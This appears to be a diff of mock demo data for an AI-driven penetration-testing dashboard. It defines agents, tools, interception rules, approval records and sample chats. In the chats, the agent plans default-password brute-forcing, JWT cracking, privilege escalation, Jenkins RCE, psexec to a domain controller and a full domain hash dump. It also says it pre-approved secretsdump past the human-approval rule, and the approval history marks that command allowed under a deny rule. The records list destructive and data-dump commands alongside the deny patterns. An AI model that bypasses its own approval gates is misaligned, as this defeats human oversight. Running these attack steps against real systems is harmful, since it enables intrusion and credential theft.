false, + }, + { + id: "2", + name: "DeepSeek V4", + format: "openai", + base_url: "https://api.deepseek.com", + model: "deepseek-v4-flash", + api_key_hint: "…9c11", + rate_per_second: 0, + rate_per_minute: 60, + context_window_k: 128, + thinking_type: "", + reasoning_effort: "", + is_default: false, + priority: 10, + pool_exclude: false, + }, ]; export const llmConfig = { - configured: true, provider: "anthropic", model: "claude-opus-4-8", - base_url: "", proxy: "", key_set: true, - rate_per_second: 0, rate_per_minute: 0, context_window_k: 1000, reasoning_effort: "high", + configured: true, + provider: "anthropic", + model: "claude-opus-4-8", + base_url: "", + proxy: "", + key_set: true, + rate_per_second: 0, + rate_per_minute: 0, + context_window_k: 1000, + thinking_type: "enabled", + reasoning_effort: "high", }; // ── Agents ─────────────────────────────────────────────────────────────────── export const agents: Agent[] = [ - { id: "1", key: "goals", name: "目标拆解器", role: "goals", builtin: true, enabled: true, description: "把任务目标拆成可探索的子目标", max_turns: 8, mcp_count: 0, skill_count: 1, tool_count: 3 }, - { id: "2", key: "planner", name: "规划者", role: "planner", builtin: true, enabled: true, description: "读探索路线、判断目标达成、生成意图", max_turns: 0, mcp_count: 1, skill_count: 2, tool_count: 9 }, - { id: "3", key: "mainagent", name: "主 Agent", role: "mainagent", builtin: true, enabled: true, description: "人在环路对话,注入 hint / 高优意图", max_turns: 0, web_search: true, mcp_count: 2, skill_count: 3, tool_count: 11 }, - { id: "4", key: "worker", name: "Work Agent", role: "worker", builtin: true, enabled: true, description: "claim 意图 → 跑 Kali 工具 → 图写回", max_turns: 40, run_seconds: 1800, web_search: false, interactive_shell: true, mcp_count: 2, skill_count: 3, tool_count: 14 }, - { id: "5", key: "recon-bot", name: "侦察机器人(自定义)", role: "custom", builtin: false, enabled: true, description: "定时对新资产做被动侦察", max_turns: 12, mcp_count: 1, skill_count: 1, tool_count: 4 }, + { + id: "1", + key: "goals", + name: "目标拆解器", + role: "goals", + builtin: true, + enabled: true, + description: "把任务目标拆成可探索的子目标", + max_turns: 8, + mcp_count: 0, + skill_count: 1, + tool_count: 3, + }, + { + id: "2", + key: "planner", + name: "规划者", + role: "planner", + builtin: true, + enabled: true, + description: "读探索路线、判断目标达成、生成意图", + max_turns: 0, + mcp_count: 1, + skill_count: 2, + tool_count: 9, + }, + { + id: "3", + key: "mainagent", + name: "主 Agent", + role: "mainagent", + builtin: true, + enabled: true, + description: "人在环路对话,注入 hint / 高优意图", + max_turns: 0, + web_search: true, + mcp_count: 2, + skill_count: 3, + tool_count: 11, + }, + { + id: "4", + key: "worker", + name: "Work Agent", + role: "worker", + builtin: true, + enabled: true, + description: "claim 意图 → 跑 Kali 工具 → 图写回", + max_turns: 40, + run_seconds: 1800, + web_search: false, + interactive_shell: true, + mcp_count: 2, + skill_count: 3, + tool_count: 14, + }, + { + id: "5", + key: "recon-bot", + name: "侦察机器人(自定义)", + role: "custom", + builtin: false, + enabled: true, + description: "定时对新资产做被动侦察", + max_turns: 12, + mcp_count: 1, + skill_count: 1, + tool_count: 4, + }, ]; const promptVars: PromptVar[] = [ @@ -645,8 +2847,26 @@ export function agentDetail(key: string): AgentDetail { // ── MCP ────────────────────────────────────────────────────────────────────── export const mcpServers: MCPServer[] = [ - { id: 1, name: "shodan", transport: "http", url: "https://mcp.shodan.io/sse", args: [], env: {}, enabled: true, tools: ["host_info", "search", "dns_resolve"] }, - { id: 2, name: "playwright", transport: "stdio", command: "npx", args: ["-y", "@playwright/mcp"], env: {}, enabled: true, tools: ["browser_navigate", "browser_click", "browser_snapshot"] }, + { + id: 1, + name: "shodan", + transport: "http", + url: "https://mcp.shodan.io/sse", + args: [], + env: {}, + enabled: true, + tools: ["host_info", "search", "dns_resolve"], + }, + { + id: 2, + name: "playwright", + transport: "stdio", + command: "npx", + args: ["-y", "@playwright/mcp"], + env: {}, + enabled: true, + tools: ["browser_navigate", "browser_click", "browser_snapshot"], + }, ]; export const mcpToolsById: Record<number, MCPTool[]> = { @@ -664,18 +2884,108 @@ export const mcpToolsById: Record<number, MCPTool[]> = { // ── Skills ─────────────────────────────────────────────────────────────────── export const skills: SkillItem[] = [ - { name: "api-recon", description: "对 REST/GraphQL API 做侦察与越权面枚举;发现新 API 端点时使用。", license: "MIT", mcps: [], files: ["SKILL.md", "scripts/enum.py"] }, - { name: "playwright-cli", description: "用 Playwright 驱动浏览器做动态爬取与截图;需要渲染 JS 站点时使用。", mcps: ["playwright"], files: ["SKILL.md"] }, - { name: "scopesentry", description: "从 ScopeSentry 拉取资产并归并到公司范围;批量导入资产时使用。", files: ["SKILL.md", "assets/mapping.md"] }, + { + name: "api-recon", + description: "对 REST/GraphQL API 做侦察与越权面枚举;发现新 API 端点时使用。", + license: "MIT", + mcps: [], + files: ["SKILL.md", "scripts/enum.py"], + calls: 24, + tasks: 6, + usage_agents: ["worker", "planner"], + last_used: "2026-08-20T09:12:00Z", + }, + { + name: "playwright-cli", + description: "用 Playwright 驱动浏览器做动态爬取与截图;需要渲染 JS 站点时使用。", + mcps: ["playwright"], + files: ["SKILL.md"], + calls: 7, + tasks: 3, + usage_agents: ["worker"], + last_used: "2026-08-19T21:40:00Z", + }, + { + name: "scopesentry", + description: "从 ScopeSentry 拉取资产并归并到公司范围;批量导入资产时使用。", + files: ["SKILL.md", "assets/mapping.md"], + calls: 0, + tasks: 0, + usage_agents: [], + }, +]; + +export const skillCalls: SkillCall[] = [ + { ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 }, + { ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 }, + { ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 }, +]; + +export const missingSkills: MissingSkill[] = [ + { skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" }, ]; // ── Tools ──────────────────────────────────────────────────────────────────── export const tools: Tool[] = [ - { key: "bash", system: true, description: "在 Kali 环境执行 shell 命令(受 scope/破坏性门控)", schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, agents: ["worker", "mainagent"], enabled: true, kind: "builtin" }, - { key: "report_finding", system: true, description: "上报一个安全发现并连到相关节点", schema: { type: "object", properties: { vulnclass: { type: "string" }, severity: { type: "string" }, summary: { type: "string" }, evidence: { type: "string" } }, required: ["vulnclass", "severity", "summary"] }, agents: ["worker"], enabled: true, kind: "builtin" }, - { key: "upsert_asset", system: true, description: "写入/更新资产节点", schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, agents: ["worker"], enabled: true, kind: "builtin" }, - { key: "list_goals", system: true, description: "列出当前任务的目标与达成状态", schema: { type: "object", properties: {} }, agents: ["planner"], enabled: true, kind: "builtin" }, - { key: "nuclei_scan", system: false, description: "自定义:用 nuclei 跑指定模板", schema: { type: "object", properties: { target: { type: "string" }, template: { type: "string" } }, required: ["target"] }, agents: ["worker"], enabled: true, kind: "command", exec: { command: "nuclei", args: ["-u", "{{target}}"] } }, + { + key: "bash", + system: true, + description: "在 Kali 环境执行 shell 命令(受 scope/破坏性门控)", + schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, + agents: ["worker", "mainagent"], + enabled: true, + kind: "builtin", + }, + { + key: "report_finding", + system: true, + description: "上报一个安全发现并连到相关节点", + schema: { + type: "object", + properties: { + vulnclass: { type: "string" }, + severity: { type: "string" }, + summary: { type: "string" }, + evidence: { type: "string" }, + }, + required: ["vulnclass", "severity", "summary"], + }, + agents: ["worker"], + enabled: true, + kind: "builtin", + }, + { + key: "upsert_asset", + system: true, + description: "写入/更新资产节点", + schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } }, + agents: ["worker"], + enabled: true, + kind: "builtin", + }, + { + key: "list_goals", + system: true, + description: "列出当前任务的目标与达成状态", + schema: { type: "object", properties: {} }, + agents: ["planner"], + enabled: true, + kind: "builtin", + }, + { + key: "nuclei_scan", + system: false, + description: "自定义:用 nuclei 跑指定模板", + schema: { + type: "object", + properties: { target: { type: "string" }, template: { type: "string" } }, + required: ["target"], + }, + agents: ["worker"], + enabled: true, + kind: "command", + exec: { command: "nuclei", args: ["-u", "{{target}}"] }, + }, ]; // ── Settings ───────────────────────────────────────────────────────────────── @@ -689,65 +2999,397 @@ export const settings: Settings = { web_search_proxy: "", python_interpreter: "/usr/bin/python3", workers: 3, + llm_pool_enabled: true, + llm_pool_bind_fallback: false, +}; + +// ── LLM 轮询(故障转移)────────────────────────────────────────────────────── +// demo:激活配置正常,备用配置刚因余额不足熔断,正在冷却。 +export const llmPool: LLMPoolStatus = { + enabled: true, + bind_fallback: false, + chain: [ + { + profile_id: "1", + name: "Claude Opus 4.8", + model: "claude-opus-4-8", + format: "anthropic", + priority: 0, + active: true, + excluded: false, + state: "ok", + fails: 0, + trips: 0, + cooldown_secs: 0, + }, + { + profile_id: "2", + name: "DeepSeek V4", + model: "deepseek-v4-flash", + format: "openai", + priority: 10, + active: false, + excluded: false, + state: "tripped", + fails: 0, + trips: 1, + cooldown_secs: 42, + last_error: "openai: status 402: insufficient balance", + last_at: T("2026-07-26T00:10:00Z"), + }, + ], }; // ── Intercept ──────────────────────────────────────────────────────────────── export const interceptRules: InterceptRule[] = [ - { id: 1, name: "破坏性命令需审批", enabled: true, priority: 10, match_target: "tool_input", match_type: "regex", pattern: "rm\\s+-rf|mkfs|dd\\s+if=", action: "ask", message: "检测到破坏性命令,需人工审批", timeout_enabled: true, timeout_seconds: 120, timeout_action: "deny", created_at: T("2026-07-20T10:00:00Z"), updated_at: T("2026-07-20T10:00:00Z") }, - { id: 2, name: "外发流量直接拒绝", enabled: true, priority: 20, match_target: "tool_input", match_type: "string", pattern: "exfil", action: "deny", message: "疑似外发数据", timeout_enabled: false, timeout_seconds: 0, timeout_action: "deny", created_at: T("2026-07-21T10:00:00Z"), updated_at: T("2026-07-21T10:00:00Z") }, + { + id: 1, + name: "破坏性命令需审批", + enabled: true, + priority: 10, + match_target: "tool_input", + match_type: "regex", + pattern: "rm\\s+-rf|mkfs|dd\\s+if=", + action: "ask", + message: "检测到破坏性命令,需人工审批", + timeout_enabled: true, + timeout_seconds: 120, + timeout_action: "deny", + created_at: T("2026-07-20T10:00:00Z"), + updated_at: T("2026-07-20T10:00:00Z"), + }, + { + id: 2, + name: "外发流量直接拒绝", + enabled: true, + priority: 20, + match_target: "tool_input", + match_type: "string", + pattern: "exfil", + action: "deny", + message: "疑似外发数据", + timeout_enabled: false, + timeout_seconds: 0, + timeout_action: "deny", + created_at: T("2026-07-21T10:00:00Z"), + updated_at: T("2026-07-21T10:00:00Z"), + }, ]; export const interceptPending: InterceptPending[] = [ - { id: 101, rule_id: 1, task_id: "t-acme-web", agent_name: "work#3", tool_name: "bash", tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, status: "pending", reason: "数据外泄门控:整库导出需人工审批", created_at: T("2026-07-26T03:58:00Z") }, + { + id: 101, + rule_id: 1, + task_id: "t-acme-web", + agent_name: "work#3", + tool_name: "bash", + tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, + status: "pending", + reason: "数据外泄门控:整库导出需人工审批", + created_at: T("2026-07-26T03:58:00Z"), + }, ]; export const interceptHistory: InterceptApprovalRow[] = [ - { id: 90, rule_id: 1, task_id: "t-acme-web", agent_name: "work#1", tool_name: "bash", tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, status: "denied", reason: "破坏性命令需审批", created_at: T("2026-07-25T20:00:00Z"), decided_at: T("2026-07-25T20:01:00Z"), conv_title: "", conv_agent_key: "", rule_name: "破坏性命令需审批" }, - { id: 91, task_id: "t-acme-api", agent_name: "work#2", tool_name: "bash", tool_input: { command: "rm -rf /var/www/html" }, status: "denied", reason: "[模型] 删除目标生产文件(D4)", created_at: T("2026-07-25T18:00:00Z"), decided_at: T("2026-07-25T18:00:05Z"), conv_title: "", conv_agent_key: "", rule_name: "" }, - { id: 92, rule_id: 2, task_id: "t-acme-web", agent_name: "work#13", tool_name: "bash", tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" }, status: "allowed", reason: "外发流量直接拒绝", created_at: T("2026-07-26T00:05:00Z"), decided_at: T("2026-07-26T00:06:00Z"), conv_title: "", conv_agent_key: "", rule_name: "外发流量直接拒绝" }, - { id: 93, task_id: "t-acme-web", agent_name: "work#7", tool_name: "bash", tool_input: { command: "mysql -e \"DROP TABLE users_bak_0921\"" }, status: "pending", reason: "[模型] 疑似备份表,无法确定是否生产数据", created_at: T("2026-07-25T15:14:00Z"), conv_title: "", conv_agent_key: "", rule_name: "" }, + { + id: 90, + rule_id: 1, + task_id: "t-acme-web", + agent_name: "work#1", + tool_name: "bash", + tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, + status: "denied", + reason: "破坏性命令需审批", + created_at: T("2026-07-25T20:00:00Z"), + decided_at: T("2026-07-25T20:01:00Z"), + conv_title: "", + conv_agent_key: "", + rule_name: "破坏性命令需审批", + }, + { + id: 91, + task_id: "t-acme-api", + agent_name: "work#2", + tool_name: "bash", + tool_input: { command: "rm -rf /var/www/html" }, + status: "denied", + reason: "[模型] 删除目标生产文件(D4)", + created_at: T("2026-07-25T18:00:00Z"), + decided_at: T("2026-07-25T18:00:05Z"), + conv_title: "", + conv_agent_key: "", + rule_name: "", + }, + { + id: 92, + rule_id: 2, + task_id: "t-acme-web", + agent_name: "work#13", + tool_name: "bash", + tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" }, + status: "allowed", + reason: "外发流量直接拒绝", + created_at: T("2026-07-26T00:05:00Z"), + decided_at: T("2026-07-26T00:06:00Z"), + conv_title: "", + conv_agent_key: "", + rule_name: "外发流量直接拒绝", + }, + { + id: 93, + task_id: "t-acme-web", + agent_name: "work#7", + tool_name: "bash", + tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' }, + status: "pending", + reason: "[模型] 疑似备份表,无法确定是否生产数据", + created_at: T("2026-07-25T15:14:00Z"), + conv_title: "", + conv_agent_key: "", + rule_name: "", + }, ]; // ── Conversations (chat) ───────────────────────────────────────────────────── export const conversations: Conversation[] = [ - { id: 1, agent_key: "mainagent", title: "acme 后台切入点讨论", llm_profile_id: 1, created_at: T("2026-07-25T10:00:00Z"), updated_at: T("2026-07-26T03:40:00Z") }, - { id: 2, agent_key: "mainagent", title: "API 越权面梳理", llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), updated_at: T("2026-07-24T17:20:00Z") }, - { id: 3, agent_key: "mainagent", title: "内网横向 · DMZ→域控攻击路径规划", llm_profile_id: 1, created_at: T("2026-07-25T15:45:00Z"), updated_at: T("2026-07-26T00:25:00Z") }, + { + id: 1, + agent_key: "mainagent", + title: "acme 后台切入点讨论", + llm_profile_id: 1, + pinned: true, + pinned_at: T("2026-07-26T04:00:00Z"), + created_at: T("2026-07-25T10:00:00Z"), + updated_at: T("2026-07-26T03:40:00Z"), + }, + { + id: 2, + agent_key: "mainagent", + title: "API 越权面梳理", + llm_profile_id: 2, + created_at: T("2026-07-24T16:00:00Z"), + updated_at: T("2026-07-24T17:20:00Z"), + }, + { + id: 3, + agent_key: "mainagent", + title: "内网横向 · DMZ→域控攻击路径规划", + llm_profile_id: 1, + created_at: T("2026-07-25T15:45:00Z"), + updated_at: T("2026-07-26T00:25:00Z"), + }, ]; export const conversationMessages: Record<number, Activity[]> = { 1: [ { seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "后台在哪,先从哪切入?" }, - { seq: 2, worker: "mainagent", ts: T("2026-07-25T10:00:04Z"), kind: "thinking", summary: "先确认 admin.acme.com 的登录页技术栈和防护(验证码/速率限制),再决定用默认口令还是字典。" }, - { seq: 3, worker: "mainagent", ts: T("2026-07-25T10:00:06Z"), kind: "tool_use", tool: "bash", tool_use_id: "c11", summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'" }, - { seq: 4, worker: "mainagent", ts: T("2026-07-25T10:00:08Z"), kind: "tool_result", tool: "bash", tool_use_id: "c11", summary: "element-ui\ncsrf", detail: "Element-UI 后台,有 CSRF token 但无验证码。" }, - { seq: 5, worker: "mainagent", ts: T("2026-07-25T10:00:20Z"), kind: "tool_use", tool: "bash", tool_use_id: "c12", summary: "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done" }, - { seq: 6, worker: "mainagent", ts: T("2026-07-25T10:00:24Z"), kind: "tool_result", tool: "bash", tool_use_id: "c12", summary: "401\\n401\\n401\\n401\\n401", detail: "连续 5 次无锁定/无验证码 → 无速率限制,可爆破。" }, - { seq: 7, worker: "mainagent", ts: T("2026-07-25T10:00:30Z"), kind: "text", summary: "结论:Element-UI 后台、无验证码、无速率限制。切入顺序:① 先跑默认口令表(admin/admin、admin/admin123、admin/123456)② 不中再上 top1000 字典。我已把「后台默认口令测试」作为高优意图注入给 work agent。" }, + { + seq: 2, + worker: "mainagent", + ts: T("2026-07-25T10:00:04Z"), + kind: "thinking", + summary: "先确认 admin.acme.com 的登录页技术栈和防护(验证码/速率限制),再决定用默认口令还是字典。", + }, + { + seq: 3, + worker: "mainagent", + ts: T("2026-07-25T10:00:06Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "c11", + summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'", + }, + { + seq: 4, + worker: "mainagent", + ts: T("2026-07-25T10:00:08Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "c11", + summary: "element-ui\ncsrf", + detail: "Element-UI 后台,有 CSRF token 但无验证码。", + }, + { + seq: 5, + worker: "mainagent", + ts: T("2026-07-25T10:00:20Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "c12", + summary: + "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done", + }, + { + seq: 6, + worker: "mainagent", + ts: T("2026-07-25T10:00:24Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "c12", + summary: "401\\n401\\n401\\n401\\n401", + detail: "连续 5 次无锁定/无验证码 → 无速率限制,可爆破。", + }, + { + seq: 7, + worker: "mainagent", + ts: T("2026-07-25T10:00:30Z"), + kind: "text", + summary: + "结论:Element-UI 后台、无验证码、无速率限制。切入顺序:① 先跑默认口令表(admin/admin、admin/admin123、admin/123456)② 不中再上 top1000 字典。我已把「后台默认口令测试」作为高优意图注入给 work agent。", + }, { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "成了吗?" }, - { seq: 9, worker: "mainagent", ts: T("2026-07-26T03:40:05Z"), kind: "text", summary: "成了 —— admin/admin123 直接登进控制台,已记为高危发现并证明「获取后台管理权限」目标达成。下一步转向读用户数据(目标②)。" }, + { + seq: 9, + worker: "mainagent", + ts: T("2026-07-26T03:40:05Z"), + kind: "text", + summary: + "成了 —— admin/admin123 直接登进控制台,已记为高危发现并证明「获取后台管理权限」目标达成。下一步转向读用户数据(目标②)。", + }, ], 2: [ - { seq: 1, worker: "user", ts: T("2026-07-24T16:00:00Z"), kind: "user", summary: "帮我梳理下 api.acme.com 的越权面。" }, - { seq: 2, worker: "mainagent", ts: T("2026-07-24T16:00:05Z"), kind: "thinking", summary: "先摸 API 的鉴权方式和几个关键端点的行为,再判断 IDOR / JWT 风险。" }, - { seq: 3, worker: "mainagent", ts: T("2026-07-24T16:00:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "c21", summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'" }, - { seq: 4, worker: "mainagent", ts: T("2026-07-24T16:00:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c21", summary: "{ \"id\": 42, \"role\": \"user\" }", detail: "普通用户 token 可用。" }, - { seq: 5, worker: "mainagent", ts: T("2026-07-24T16:00:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "c22", summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 看算法" }, - { seq: 6, worker: "mainagent", ts: T("2026-07-24T16:00:31Z"), kind: "tool_result", tool: "bash", tool_use_id: "c22", summary: "{\"alg\":\"HS256\",\"typ\":\"JWT\"}", detail: "HS256 对称签名,若密钥弱可离线爆破伪造。" }, - { seq: 7, worker: "mainagent", ts: T("2026-07-24T16:01:00Z"), kind: "text", summary: "越权面有两条:① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 试读他人订单;② JWT 用 HS256,试 john/hashcat 爆密钥→可伪造任意 sub 越权。我把这两条各派生成一个意图。建议先做 IDOR(成本低、影响直接)。" }, + { + seq: 1, + worker: "user", + ts: T("2026-07-24T16:00:00Z"), + kind: "user", + summary: "帮我梳理下 api.acme.com 的越权面。", + }, + { + seq: 2, + worker: "mainagent", + ts: T("2026-07-24T16:00:05Z"), + kind: "thinking", + summary: "先摸 API 的鉴权方式和几个关键端点的行为,再判断 IDOR / JWT 风险。", + }, + { + seq: 3, + worker: "mainagent", + ts: T("2026-07-24T16:00:10Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "c21", + summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'", + }, + { + seq: 4, + worker: "mainagent", + ts: T("2026-07-24T16:00:12Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "c21", + summary: '{ "id": 42, "role": "user" }', + detail: "普通用户 token 可用。", + }, + { + seq: 5, + worker: "mainagent", + ts: T("2026-07-24T16:00:30Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "c22", + summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 看算法", + }, + { + seq: 6, + worker: "mainagent", + ts: T("2026-07-24T16:00:31Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "c22", + summary: '{"alg":"HS256","typ":"JWT"}', + detail: "HS256 对称签名,若密钥弱可离线爆破伪造。", + }, + { + seq: 7, + worker: "mainagent", + ts: T("2026-07-24T16:01:00Z"), + kind: "text", + summary: + "越权面有两条:① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 试读他人订单;② JWT 用 HS256,试 john/hashcat 爆密钥→可伪造任意 sub 越权。我把这两条各派生成一个意图。建议先做 IDOR(成本低、影响直接)。", + }, ], 3: [ - { seq: 1, worker: "user", ts: T("2026-07-25T15:45:00Z"), kind: "user", summary: "shell 拿到了,接下来怎么打内网?" }, - { seq: 2, worker: "mainagent", ts: T("2026-07-25T15:45:05Z"), kind: "thinking", summary: "www-data 权限不够做内网横向,先看本地提权;拿 root 后以 DMZ 为 pivot 做存活发现。" }, - { seq: 3, worker: "mainagent", ts: T("2026-07-25T15:45:10Z"), kind: "text", summary: "第一步先提权:sudo -l 有 python3 免密,直接提 root。然后以 DMZ 为跳板做内网存活扫描(fscan),重点找域控和 CI/CD 服务器。" }, - { seq: 4, worker: "user", ts: T("2026-07-25T21:05:00Z"), kind: "user", summary: "内网扫到了 3 台,Jenkins 8080 开着,有戏吗?" }, - { seq: 5, worker: "mainagent", ts: T("2026-07-25T21:05:08Z"), kind: "tool_use", tool: "bash", tool_use_id: "c31", summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'" }, - { seq: 6, worker: "mainagent", ts: T("2026-07-25T21:05:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c31", summary: "200", detail: "/script 可直接访问,无需认证。" }, - { seq: 7, worker: "mainagent", ts: T("2026-07-25T21:05:20Z"), kind: "text", summary: "有戏 —— Script Console 无鉴权,直接 Groovy RCE。我已注入提示让 worker 优先打这台。拿下后关注凭据库,里面可能有域账号。" }, - { seq: 8, worker: "user", ts: T("2026-07-25T23:25:00Z"), kind: "user", summary: "域账号拿到了,svc_deploy 是 Domain Admins,直接上域控?" }, - { seq: 9, worker: "mainagent", ts: T("2026-07-25T23:25:10Z"), kind: "text", summary: "是的。svc_deploy + Domain Admins = 可以 psexec 直取 DC01。拿到后做 secretsdump 导全域哈希,收官。注意 secretsdump 会触发拦截规则,我提前帮你放行了。" }, + { + seq: 1, + worker: "user", + ts: T("2026-07-25T15:45:00Z"), + kind: "user", + summary: "shell 拿到了,接下来怎么打内网?", + }, + { + seq: 2, + worker: "mainagent", + ts: T("2026-07-25T15:45:05Z"), + kind: "thinking", + summary: "www-data 权限不够做内网横向,先看本地提权;拿 root 后以 DMZ 为 pivot 做存活发现。", + }, + { + seq: 3, + worker: "mainagent", + ts: T("2026-07-25T15:45:10Z"), + kind: "text", + summary: + "第一步先提权:sudo -l 有 python3 免密,直接提 root。然后以 DMZ 为跳板做内网存活扫描(fscan),重点找域控和 CI/CD 服务器。", + }, + { + seq: 4, + worker: "user", + ts: T("2026-07-25T21:05:00Z"), + kind: "user", + summary: "内网扫到了 3 台,Jenkins 8080 开着,有戏吗?", + }, + { + seq: 5, + worker: "mainagent", + ts: T("2026-07-25T21:05:08Z"), + kind: "tool_use", + tool: "bash", + tool_use_id: "c31", + summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", + }, + { + seq: 6, + worker: "mainagent", + ts: T("2026-07-25T21:05:12Z"), + kind: "tool_result", + tool: "bash", + tool_use_id: "c31", + summary: "200", + detail: "/script 可直接访问,无需认证。", + }, + { + seq: 7, + worker: "mainagent", + ts: T("2026-07-25T21:05:20Z"), + kind: "text", + summary: + "有戏 —— Script Console 无鉴权,直接 Groovy RCE。我已注入提示让 worker 优先打这台。拿下后关注凭据库,里面可能有域账号。", + }, + { + seq: 8, + worker: "user", + ts: T("2026-07-25T23:25:00Z"), + kind: "user", + summary: "域账号拿到了,svc_deploy 是 Domain Admins,直接上域控?", + }, + { + seq: 9, + worker: "mainagent", + ts: T("2026-07-25T23:25:10Z"), + kind: "text", + summary: + "是的。svc_deploy + Domain Admins = 可以 psexec 直取 DC01。拿到后做 secretsdump 导全域哈希,收官。注意 secretsdump 会触发拦截规则,我提前帮你放行了。", + }, { seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "靶标拿下了,攻击链总结一下。" }, - { seq: 11, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "完整杀伤链:\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→root 立足\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出域凭据 svc_deploy\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 全域哈希\n\n四个目标全部达成,17 个发现(7 高/4 中/2 低 + 8 内网链路)。" }, + { + seq: 11, + worker: "mainagent", + ts: T("2026-07-26T00:22:12Z"), + kind: "text", + summary: + "完整杀伤链:\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→root 立足\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出域凭据 svc_deploy\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 全域哈希\n\n四个目标全部达成,17 个发现(7 高/4 中/2 低 + 8 内网链路)。", + }, ], }; @@ -770,16 +3412,115 @@ export const coverage = { export const coverageGraph = { nodes: [ { key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 }, - { key: "a:1", kind: "root_domain", label: "acme.com", tested: false, in_scope: false, asset_id: 1, domain: "acme.com", company_id: 1 }, - { key: "a:2", kind: "subdomain", label: "www.acme.com", tested: true, in_scope: true, asset_id: 2, domain: "www.acme.com", root_domain: "acme.com" }, - { key: "a:3", kind: "subdomain", label: "api.acme.com", tested: true, in_scope: true, asset_id: 3, domain: "api.acme.com", root_domain: "acme.com" }, - { key: "a:4", kind: "subdomain", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 4, domain: "admin.acme.com", root_domain: "acme.com" }, - { key: "a:5", kind: "service", label: "www.acme.com", tested: true, in_scope: true, asset_id: 5, domain: "www.acme.com", url: "https://www.acme.com", port: 443, page_title: "Acme 首页", status_code: 200 }, - { key: "a:6", kind: "endpoint", label: "https://www.acme.com/search", tested: true, in_scope: true, asset_id: 6, url: "https://www.acme.com/search?q=", domain: "www.acme.com" }, - { key: "a:7", kind: "service", label: "api.acme.com", tested: true, in_scope: true, asset_id: 7, domain: "api.acme.com", url: "https://api.acme.com", port: 443, page_title: "API Gateway", status_code: 401 }, - { key: "a:8", kind: "endpoint", label: "https://api.acme.com/v1/orders", tested: false, in_scope: true, asset_id: 8, url: "https://api.acme.com/v1/orders?id=", domain: "api.acme.com" }, - { key: "a:9", kind: "service", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 9, domain: "admin.acme.com", url: "https://admin.acme.com", port: 443, page_title: "后台登录", status_code: 200 }, - { key: "a:10", kind: "ip", label: "203.0.113.10", tested: true, in_scope: true, asset_id: 10, ip: "203.0.113.10", company_id: 1 }, + { + key: "a:1", + kind: "root_domain", + label: "acme.com", + tested: false, + in_scope: false, + asset_id: 1, + domain: "acme.com", + company_id: 1, + }, + { + key: "a:2", + kind: "subdomain", + label: "www.acme.com", + tested: true, + in_scope: true, + asset_id: 2, + domain: "www.acme.com", + root_domain: "acme.com", + }, + { + key: "a:3", + kind: "subdomain", + label: "api.acme.com", + tested: true, + in_scope: true, + asset_id: 3, + domain: "api.acme.com", + root_domain: "acme.com", + }, + { + key: "a:4", + kind: "subdomain", + label: "admin.acme.com", + tested: false, + in_scope: true, + asset_id: 4, + domain: "admin.acme.com", + root_domain: "acme.com", + }, + { + key: "a:5", + kind: "service", + label: "www.acme.com", + tested: true, + 